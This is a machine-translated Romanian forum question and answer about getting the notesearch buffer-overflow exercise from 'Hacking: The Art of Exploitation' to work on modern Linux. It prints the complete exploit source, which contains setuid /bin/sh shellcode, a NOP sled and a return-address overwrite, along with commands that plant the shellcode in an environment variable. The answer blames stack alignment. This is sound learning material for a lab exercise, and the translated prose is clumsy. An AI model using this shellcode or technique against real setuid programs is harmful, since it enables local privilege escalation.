De ce nu shellcode executa?

0

Problema

Lucrez prin Hacking: Arta de Exploatare și sunt difuzate în primul meu obstacol încercarea de a obține un lucru cunoscut exploata pentru a rula din cartea printr-o variabilă de mediu. Toate programele au fost elaborate cu -fno-stack-protector -zexecstack -no-pie -fno-pie.

De funcționare exploit_notesearch.c (deși cu o foarte specifice de compensare), am fost capabil de a obține exploit pentru a pop un shell prin mutarea offset cu argv[1]. Aceasta funcționează pe sisteme de operare moderne (cu ASLR cu handicap) precum și LiveCD-ul inclus cu cartea.

notesearch.c

exploit_notesearch.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=208;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

În continuare, în acest capitol, ne-am stabilit shellcode la o variabilă de mediu și încercarea de a redirecționa fluxul de loc pe stiva unde SHELLCODE variabila de mediu este stabilit, la jumătatea precedat NOP sanie. Cu toate acestea, acest lucru nu execută exploata pe sisteme de operare moderne, dar functioneaza foarte bine in Ubuntu 7.04 live CD-ul care însoțește cartea. shellcode.bin este shellcode în partea de sus a exploit_notesearch.c fișier fugit cu echo -en și redirecționat într-un fișier.

$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled

Ce se întâmplă aici, că s-a schimbat între vechi sisteme de operare și modern? Există o protecție sunt conștienți de faptul că este prevenirea de echitatie NOP sanie la shellcode?

Multumesc.

c environment-variables shellcode
2021-11-24 04:34:00
1

Cel mai bun răspuns

0

Problema a fost stiva de aliniere, compilarea cu -mpreferred-stack-boundary=2 aliniază stivă în mod similar la carte.

2021-11-24 15:24:48

În alte limbi

Această pagină este în alte limbi

Русский
..................................................................................................................
Italiano
..................................................................................................................
Polski
..................................................................................................................
한국어
..................................................................................................................
हिन्दी
..................................................................................................................
Français
..................................................................................................................
Türk
..................................................................................................................
Česk
..................................................................................................................
Português
..................................................................................................................
ไทย
..................................................................................................................
中文
..................................................................................................................
Español
..................................................................................................................
Slovenský
..................................................................................................................